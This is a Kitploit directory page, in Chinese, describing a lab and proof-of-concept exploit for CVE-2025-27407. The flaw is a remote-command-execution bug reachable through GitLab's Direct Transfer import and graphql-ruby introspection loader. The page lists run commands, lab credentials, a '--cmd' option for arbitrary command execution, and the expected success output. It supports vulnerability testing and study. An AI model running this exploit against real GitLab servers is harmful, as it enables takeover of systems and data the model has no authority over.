Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-27407 — CVE-2025-27407的本地实验室和概念验证漏洞利用,通过Direct Transfer HTTP路径针对GitLab的GraphQL内省模式加载器。包含容器化环境和自动化触发脚本。 | Kitploit
工具/GitHubGitHub/logggg2402/cve-2025-27407
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHublogggg2402/cve-2025-27407

CVE-2025-27407

CVE-2025-27407的本地实验室和概念验证漏洞利用,通过Direct Transfer HTTP路径针对GitLab的GraphQL内省模式加载器。包含容器化环境和自动化触发脚本。

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-27407 GitLab Podman 实验室

用于验证 GitLab Direct Transfer HTTP 路径可达脆弱 graphql-ruby 内省模式加载器的最小本地实验室。该实验室运行一个易受攻击的 GitLab CE 容器;PoC 脚本仅在测试时在进程中启动其伪造的 GitLab 源服务器。

仅对您拥有或明确授权测试的系统运行此操作。

文件

文件目的
lab.sh启动、等待、验证并清理 GitLab 实验室。
poc_host_port_cmd.py一次性 PoC:伪造源服务器 + GitLab 登录/配置/导入触发器。

要求

  • 带有 podman 的 Linux 主机
  • curl
  • 为 GitLab 和 PoC 伪造源服务器空闲的本地端口
  • 足够的 RAM/磁盘用于 GitLab Omnibus 容器

默认值:

启动实验室

端口 8080 是脚本的默认端口。如果该端口已被占用,请按如下所示使用 18080。

root@kitploit:~
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

在以下地址打开 GitLab:

root@kitploit:~
http://127.0.0.1:18080

登录凭据:

root@kitploit:~
root / Cve27407Password!

root 只是默认的实验室用户。PoC 触发器不需要管理员账户;任何能够创建/导入到目标命名空间的已认证用户都可以命中易受攻击的 Direct Transfer 路径。使用 --username 和 --password 以非管理员用户进行测试。

运行 PoC

root@kitploit:~
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

预期的信号:

root@kitploit:~
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

选项

环境变量覆盖

故障排除

  • 如果 8080 端口被占用,则在运行 ./lab.sh up 时使用 GITLAB_HTTP_PORT=18080。
  • 如果 PoC 无法绑定其源端口,将 --listen-port 改为未使用的端口。
  • 如果标记验证与后台导入工作线程竞争,请增加 --wait-seconds 或重新运行 MARKER="$MARKER" ./lab.sh verify。
  • 如果 GitLab 尚未准备就绪,重新运行 GITLAB_HTTP_PORT=18080 ./lab.sh wait。
  • 如果之前的实验室卡住,运行 ./lab.sh cleanup 然后重新开始。

清理

root@kitploit:~
./lab.sh cleanup

这将移除 GitLab 容器、任何来自旧版实验室的遗留伪造源容器以及实验室网络。它不会移除已下载的 Podman 镜像。

下载工具
项目默认值
GitLab 镜像docker.io/gitlab/gitlab-ce:16.11.8-ce.0
GitLab 容器cve-27407-gitlab
Podman 网络cve-2025-27407-net
GitLab root 用户root
GitLab root 密码Cve27407Password!
标记文件/tmp/cve_2025_27407_gitlab_marker
选项目的默认值
--host目标 GitLab 主机必需
--port目标 GitLab HTTP 端口必需
--cmd在 GitLab 运行时中执行的命令touch /tmp/cve_2025_27407_gitlab_marker
--listen-port本地伪造源服务器端口8001
--wait-seconds保持伪造源存活以等待异步 GitLab 工作线程的时间90
--usernameGitLab 用户名root
--passwordGitLab 密码Cve27407Password!
变量目的默认值
GITLAB_HTTP_PORT主机/容器的 GitLab HTTP 端口8080
GITLAB_SSH_PORT主机的 GitLab SSH 端口2224
GITLAB_ROOT_PASSWORD初始 root 密码Cve27407Password!
GITLAB_IMAGE要运行的 GitLab 镜像docker.io/gitlab/gitlab-ce:16.11.8-ce.0
NETWORKPodman 网络名称cve-2025-27407-net
MARKER在 GitLab 容器内检查的文件/tmp/cve_2025_27407_gitlab_marker
TIMEOUT_SECONDS就绪等待超时时间1200